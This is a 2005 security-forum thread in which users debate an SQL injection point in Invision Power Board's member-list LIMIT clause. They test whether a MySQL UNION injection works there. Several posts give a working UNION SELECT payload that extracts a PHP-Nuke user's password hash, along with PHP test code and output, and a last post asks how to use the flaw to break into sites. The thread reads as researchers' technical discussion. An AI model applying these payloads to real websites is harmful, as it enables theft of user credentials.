|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Re: Sql Injection in Invision Power Board |
|
Posted: Tue Apr 26, 2005 1:38 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
cXIb8O3 wrote: | waraxe wrote: |
mySQL query error: SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
me.photo_location, me.photo_type, me.photo_dimensions
FROM ibf_members m
LEFT JOIN ibf_member_extra me ON me.id=m.id
LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
WHERE m.id > 0 AND m.mgroup='1' AND g.g_hide_from_list <> 1
ORDER BY m.name asc
LIMIT f00bar,30
mySQL error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'f00bar,30' at line 8
mySQL error code:
Date: Tuesday 12th of April 2005 08:51:04 AM
|
in this query... we can't use UNION because is there ORDER BY. ; ] but after LIMIT you can use UNION |
I doubt it. Show me the working example and i will believe in this.
Here is, what i can find from manual:
http://dev.mysql.com/doc/mysql/en/union.html
Code: |
If you want to use an ORDER BY or LIMIT clause to sort or limit the entire UNION result, parenthesize the individual SELECT statements and place the ORDER BY or LIMIT after the last one. The following example uses both clauses:
(SELECT a FROM tbl_name WHERE a=10 AND B=1)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2)
ORDER BY a LIMIT 10;
This kind of ORDER BY cannot use column references that include a table name (that is, names in tbl_name.col_name format). Instead, provide a column alias in the first SELECT statement and refer to the alias in the ORDER BY, or else refer to the column in the ORDER BY using its column position. (An alias is preferable because use of column positions is deprecated.)
To apply ORDER BY or LIMIT to an individual SELECT, place the clause inside the parentheses that enclose the SELECT:
(SELECT a FROM tbl_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)
UNION
(SELECT a FROM tbl_name WHERE a=11 AND B=2 ORDER BY a LIMIT 10);
ORDER BY for individual SELECT statements within parentheses only has an effect when combined with LIMIT. Otherwise, the ORDER BY is optimized away.
|
Seems, that there are differences in 4.0.x and 4.1.x mysql versions, but anyway, we need additional parentheses for syntax to be correct.
Once again - please show me the working example |
|
|
|
|
|
|
|
|
Posted: Tue Apr 26, 2005 2:19 pm |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
mysql=4.0.21
ok.. in phpnuke table:
SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1
LIMIT and UNION and works
etc. |
|
|
|
|
|
|
|
|
Posted: Tue Apr 26, 2005 5:35 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
cXIb8O3 wrote: | mysql=4.0.21
ok.. in phpnuke table:
SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1
LIMIT and UNION and works
etc. |
OK, i tested it with this code snippet:
Code: |
//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------
|
And got:
Code: |
--Resource id #142----
|
So it really works, if there is no "ORDER BY" in affected sql query.
Now let's do next test:
Code: |
//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------
|
and we get
Code: |
----Wrong usage of UNION and ORDER BY--
|
One more test:
Code: |
//--------------
$sql = "SELECT name FROM nuke_users WHERE user_id='-99' ORDER BY user_id LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' ORDER BY user_id LIMIT 0,1";
$result = $db->sql_query($sql);
$kala = mysql_error();
die("--$result--$kala--");
//--------------
|
and we get
Code: |
----Wrong usage of UNION and ORDER BY--
|
Now, sql query in very first post was:
Code: |
SELECT m.name, m.id, m.posts, m.joined, m.mgroup, m.email,m.title, m.hide_email, m.location, m.aim_name, m.icq_number,
me.photo_location, me.photo_type, me.photo_dimensions
FROM ibf_members m
LEFT JOIN ibf_member_extra me ON me.id=m.id
LEFT JOIN ibf_groups g ON m.mgroup=g.g_id
WHERE m.id > 0 AND m.mgroup='1' AND g.g_hide_from_list <> 1
ORDER BY m.name asc
LIMIT f00bar,30
|
As we can see, there is "ORDER BY" right before sql injection point of insertion ...
But anyway, thanks for sharing info, it gave me fresh ideas |
|
|
|
|
|
|
|
|
Posted: Tue Apr 26, 2005 5:59 pm |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
mysql> SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1;
+----------------------------------+
| name |
+----------------------------------+
| blablabla |
+----------------------------------+
1 row in set (0.00 sec)
mysql>
or
check
<?
mysql_connect("localhost" , "user", "pas") or die("X");
mysql_select_db("phpnuke");
$ffff=mysql_query("SELECT name FROM nuke_users WHERE user_id='-99' LIMIT 0,1 UNION SELECT user_password FROM nuke_users WHERE user_id='2' LIMIT 0,1");
$eeee=mysql_fetch_array($ffff);
echo $eeee[0];
?> |
|
|
|
|
Posted: Tue Apr 26, 2005 6:07 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Look at my previous post please --> i was talking about sql queries that contain "ORDER BY" part. Your example is without "ORDER BY". |
|
|
|
|
Posted: Tue Apr 26, 2005 7:38 pm |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
ok . relax |
|
|
|
|
Posted: Tue Apr 26, 2005 7:44 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
No probs, take it easy |
|
|
|
|
Posted: Tue Apr 26, 2005 11:19 pm |
|
|
gulftech |
Valuable expert |
|
|
Joined: Apr 20, 2005 |
Posts: 9 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Wed Apr 27, 2005 6:50 am |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
yes. DCrab sometimes public fucked adv. ;] He don't check vulnerabilities and don't try contact with authors scripts. |
|
|
|
|
Posted: Fri Apr 29, 2005 12:41 am |
|
|
gulftech |
Valuable expert |
|
|
Joined: Apr 20, 2005 |
Posts: 9 |
|
|
|
|
|
|
|
Well, I did like that one advisory that was the result of "auditing" an application coded in .asp and the suggested fix was to use htmlspecialchars() and addlsashes() |
|
|
|
|
Posted: Tue May 03, 2005 3:53 am |
|
|
devn00b |
Regular user |
|
|
Joined: Feb 20, 2005 |
Posts: 22 |
|
|
|
|
|
|
|
anyone figure out how if at all possible to use this to gain any access to an affected website?
Waraxe? |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 2
Goto page Previous1, 2
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|